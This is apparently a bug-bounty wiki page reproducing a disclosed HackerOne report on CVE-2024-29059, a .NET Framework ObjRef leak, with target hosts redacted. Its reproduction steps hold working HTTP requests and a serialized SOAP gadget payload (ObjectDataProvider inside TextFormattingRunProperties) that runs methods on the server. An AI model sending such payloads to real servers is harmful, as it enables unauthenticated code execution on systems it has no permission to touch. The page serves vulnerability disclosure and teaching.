Skip to content
Info disclosure Disclosed report Advanced CVE-2024-29059

[███] .NET Framework ObjRefs Disclosure (CVE-2024-29059)

A .NET Framework vulnerability allows an unauthenticated attacker to obtain internal object URIs (ObjRefs) by sending a specially crafted request to a .rem endpoint. This information disclosure could then be used to perform .NET Remoting attacks, possibly leading to remote code execution.

xchopath Follow

Originally disclosed on HackerOne

  • Triaged in 2 hours
  • Fixed in 11 days
  • Disclosed after 21 months

Microsoft .NET Framework could allow a remote attacker to obtain sensitive information. By sending a specially crafted request, an attacker could exploit this vulnerability to obtain the ObjRef URI and possibly execute arbitrary code on the system.

Evidences

GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.1
Host: ████
Content-Type: text/xml
__RequestVerb: POST

██████████

█████████

References

Impact

CVE-2024-29059 in ASP.NET web applications that might unknowingly leak internal object URIs, which can be used to perform .NET Remoting attacks via HTTP, possibly allowing unauthenticated remote code execution.

System Host(s)

█████

Affected Product(s) and Version(s)

CVE Numbers

CVE-2024-29059

Steps to Reproduce

  1. Create a first Request
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.1
Host: ██████████
Content-Type: text/xml
__RequestVerb: POST
  1. Get the .rem URL

  2. Create a Second Request

POST /<REM URL>.rem HTTP/1.1
Host: ███████
SOAPAction: ""
Content-Type: text/xml

<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<a1:TextFormattingRunProperties id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35">
<ForegroundBrush id="ref-3">&#60;ObjectDataProvider MethodName=&#34;AddHeader&#34;
  xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
  xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;
  xmlns:System=&#34;clr-namespace:System;assembly=mscorlib&#34;
  xmlns:System.Web=&#34;clr-namespace:System.Web;assembly=System.Web&#34;&#62;&#60;ObjectDataProvider.ObjectInstance&#62;&#60;ObjectDataProvider MethodName=&#34;get_Response&#34;&#62;&#60;ObjectDataProvider.ObjectInstance&#62;
  &#60;ObjectDataProvider ObjectType=&#34;{x:Type System.Web:HttpContext}&#34; MethodName=&#34;get_Current&#34; /&#62;
  &#60;/ObjectDataProvider.ObjectInstance&#62;
  &#60;/ObjectDataProvider&#62;
  &#60;/ObjectDataProvider.ObjectInstance&#62;
  &#60;ObjectDataProvider.MethodParameters&#62;
  &#60;System:String&#62;X-Vuln-Test&#60;/System:String&#62;
  &#60;System:String&#62;{{randstr}}&#60;/System:String&#62;
  &#60;/ObjectDataProvider.MethodParameters&#62;
&#60;/ObjectDataProvider&#62;</ForegroundBrush>
</a1:TextFormattingRunProperties>
</SOAP-ENV:Envelope>

Suggested Mitigation/Remediation Actions

Update .NET Framework to latest version.

The original report as published on HackerOne, by xchopath. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely, the .NET Remoting endpoint exposes internal object references (ObjRefs) without proper access control, allowing unauthenticated users to retrieve them.

Impact

An unauthenticated attacker could obtain internal object URIs and use them to perform .NET Remoting attacks, possibly leading to remote code execution.

What the attacker needed

Target runs vulnerable .NET Framework; No authentication required

The fix

The .NET Framework should be updated to the latest version to address the vulnerability.

How it was found

  1. Send a GET request to the RemoteApplicationMetadata.rem endpoint with a WSDL query parameter.
  2. Extract the .rem URL from the response.
  3. Send a POST request to the extracted .rem URL with a SOAP envelope containing a malicious serialized object.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report describes a flaw in Microsoft's .NET Framework, a software framework used to build and run applications. An attacker can send a special web request to a server and learn the internal address of a software object. That address can then be used to send further malicious requests, which might let the attacker run their own code on the server.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.